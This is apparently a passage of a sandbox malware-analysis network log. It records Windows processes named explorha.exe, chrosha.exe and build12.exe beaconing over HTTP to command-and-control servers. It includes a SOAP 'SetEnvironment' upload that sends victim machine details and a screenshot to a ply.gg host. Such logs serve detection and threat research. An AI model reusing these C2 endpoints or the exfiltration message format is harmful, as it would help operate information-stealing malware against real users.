Apr 19, 2024 03:30:36.746958971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.5	49991	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:36.633208990 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:36.879944086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.5	49992	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:37.104927063 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:37.350583076 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:37.352253914 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:37.603714943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.5	49993	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:37.241275072 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:37.485696077 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.5	49994	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:37.740948915 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:37.993130922 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.5	49995	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:37.962435007 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:38.211004972 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:38.215601921 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:38.469396114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.5	49997	147.185.221.19	30946	7324	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:38.291428089 CEST	228	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 95722 Expect: 100-continue Accept-Encoding: gzip, deflate
Apr 19, 2024 03:30:38.955063105 CEST	1289	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 95722 Expect: 100-continue Accept-Encoding: gzip, deflate Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 75 73 65 72 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 43 69 74 79 3e 55 4e 4b 4e 4f 57 4e 3c 2f 61 3a 43 69 74 79 3e 3c 61 3a 43 6f 75 6e 74 72 79 3e 55 53 3c 2f 61 3a 43 6f 75 6e 74 72 79 3e 3c 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 31 30 30 30 31 38 38 30 30 31 5c 62 75 69 6c 64 31 32 2e 65 78 65 3c 2f 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 3c 61 3a 48 61 72 64 77 61 72 65 3e 39 46 31 39 36 42 34 39 37 42 44 46 44 30 43 45 44 38 33 32 44 34 41 42 38 41 41 43 33 42 34 46 3c 2f 61 3a 48 61 72 64 77 61 72 65 3e 3c 61 3a 49 50 76 34 3e 38 31 2e 31 38 31 2e 35 37 2e 35 32 3c 2f 61 3a 49 50 76 34 3e 3c 61 3a 4c 61 6e 67 75 61 67 65 3e 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 3c 2f 61 3a 4c 61 6e 67 75 61 67 65 3e 3c 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 61 6c 66 6f 6e 73 3c 2f 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 3c 61 3a 4d 6f 6e 69 74 6f 72 3e 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 42 51 41 41 41 41 51 41 43 41 59 41 41 41 43 2b 6b 2f 52 44 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 4b 4e 63 53 55 52 42 56 48 68 65 37 50 31 2f 65 42 7a 33 66 65 42 35 37 68 39 33 74 33 76 6e 5a 35 37 64 6d 39 76 62 33 64 6c 6e 62 37 6d 36 33 5a 32 39 33 4d 37 74 62 76 59 77 73 35 37 6c 2f 76 41 6f 48 74 73 38 61 31 65 30 4d 78 6b 34 6b 59 53 4d 6e 46 43 32 4d 34 77 63 6d 35 62 74 51 46 46 69 4a 4a 62 43 53 4c 49 74 78 54 4b 63 52 4d 4c 45 69 65 69 78 45 6c 69 79 41 74 6b 5a 67 34 6b 74 57 42 61 44 53 45 34 67 55 68 59 6b 57 59 52 2b 67 70 5a 6f 79 42 51 46 6b 52 4c 42 58 2f 70 63 66 61 75 71 67 65 35 47 6f 51 43 51 41 49 6c 75 76 74 37 50 38 35 6f 49 36 4f 37 71 71 75 71 47 35 50 70 4d 56 66 65 2f 46 5a 49 6b 53 5a 49 6b 53 5a 4b 36 4e 67 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironment xmlns="http://tempuri.org/"><user xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:City>UNKNOWN</a:City><a:Country>US</a:Country><a:FileLocation>C:\Users\user\AppData\Local\Temp\1000188001\build12.exe</a:FileLocation><a:Hardware>9F196B497BDFD0CED832D4AB8AAC3B4F</a:Hardware><a:IPv4>81.181.57.52</a:IPv4><a:Language>English (United Kingdom)</a:Language><a:MachineName>user</a:MachineName><a:Monitor>iVBORw0KGgoAAAANSUhEUgAABQAAAAQACAYAAAC+k/RDAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAKNcSURBVHhe7P1/eBz3feB57h93t3vnZ57dm9vb3dlnb7m63Z293M7tbvYws57l/vAoHts8a1e0Mxk4kYSMnFC2M4wcm5btQFFiJJbCSLItxTKcRMLEieixEliyAtkZg4ktWBaDSE4gUhYkWYR+gpZoyBQFkRLBX/pcfauqge5GoQCQAIluvt7P85oI6O7qquqG5PpMVfe/FZIkSZIkSZK6NgNASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqY
Apr 19, 2024 03:31:08.224847078 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:31:08 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Apr 19, 2024 03:31:08.531841993 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:31:08 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.5	49998	147.185.221.19	30946	5608	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:38.297364950 CEST	228	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 95721 Expect: 100-continue Accept-Encoding: gzip, deflate
Apr 19, 2024 03:30:38.954663992 CEST	1289	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 95721 Expect: 100-continue Accept-Encoding: gzip, deflate Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 75 73 65 72 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 43 69 74 79 3e 55 4e 4b 4e 4f 57 4e 3c 2f 61 3a 43 69 74 79 3e 3c 61 3a 43 6f 75 6e 74 72 79 3e 55 53 3c 2f 61 3a 43 6f 75 6e 74 72 79 3e 3c 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 31 30 30 30 31 38 37 30 30 31 5c 62 75 69 6c 64 31 32 2e 65 78 65 3c 2f 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 3c 61 3a 48 61 72 64 77 61 72 65 3e 39 46 31 39 36 42 34 39 37 42 44 46 44 30 43 45 44 38 33 32 44 34 41 42 38 41 41 43 33 42 34 46 3c 2f 61 3a 48 61 72 64 77 61 72 65 3e 3c 61 3a 49 50 76 34 3e 38 31 2e 31 38 31 2e 35 37 2e 35 32 3c 2f 61 3a 49 50 76 34 3e 3c 61 3a 4c 61 6e 67 75 61 67 65 3e 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 3c 2f 61 3a 4c 61 6e 67 75 61 67 65 3e 3c 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 61 6c 66 6f 6e 73 3c 2f 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 3c 61 3a 4d 6f 6e 69 74 6f 72 3e 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 42 51 41 41 41 41 51 41 43 41 59 41 41 41 43 2b 6b 2f 52 44 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 4b 4e 63 53 55 52 42 56 48 68 65 37 50 31 2f 65 42 7a 33 66 65 42 35 37 68 39 33 74 33 76 6e 5a 35 37 64 6d 39 76 62 33 64 6c 6e 62 37 6d 36 33 5a 32 39 33 4d 37 74 62 76 59 77 73 35 37 6c 2f 76 41 6f 48 74 73 38 61 31 65 30 4d 78 6b 34 6b 59 53 4d 6e 46 43 32 4d 34 77 63 6d 35 62 74 51 46 46 69 4a 4a 62 43 53 4c 49 74 78 54 4b 63 52 4d 4c 45 69 65 69 78 45 6c 69 79 41 74 6b 5a 67 34 6b 74 57 42 61 44 53 45 34 67 55 68 59 6b 57 59 52 2b 67 70 5a 6f 79 42 51 46 6b 52 4c 42 58 2f 70 63 66 61 75 71 67 65 35 47 6f 51 43 51 41 49 6c 75 76 74 37 50 38 35 6f 49 36 4f 37 71 71 75 71 47 35 50 70 4d 56 66 65 2f 46 5a 49 6b 53 5a 49 6b 53 5a 4b 36 4e 67 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironment xmlns="http://tempuri.org/"><user xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:City>UNKNOWN</a:City><a:Country>US</a:Country><a:FileLocation>C:\Users\user\AppData\Local\Temp\1000187001\build12.exe</a:FileLocation><a:Hardware>9F196B497BDFD0CED832D4AB8AAC3B4F</a:Hardware><a:IPv4>81.181.57.52</a:IPv4><a:Language>English (United Kingdom)</a:Language><a:MachineName>user</a:MachineName><a:Monitor>iVBORw0KGgoAAAANSUhEUgAABQAAAAQACAYAAAC+k/RDAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAKNcSURBVHhe7P1/eBz3feB57h93t3vnZ57dm9vb3dlnb7m63Z293M7tbvYws57l/vAoHts8a1e0Mxk4kYSMnFC2M4wcm5btQFFiJJbCSLItxTKcRMLEieixEliyAtkZg4ktWBaDSE4gUhYkWYR+gpZoyBQFkRLBX/pcfauqge5GoQCQAIluvt7P85oI6O7qquqG5PpMVfe/FZIkSZIkSZK6NgNASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqY
Apr 19, 2024 03:31:08.224087954 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:31:08 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Apr 19, 2024 03:31:08.531725883 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:31:08 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.5	49996	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:38.351089001 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:38.597203970 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.5	49999	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
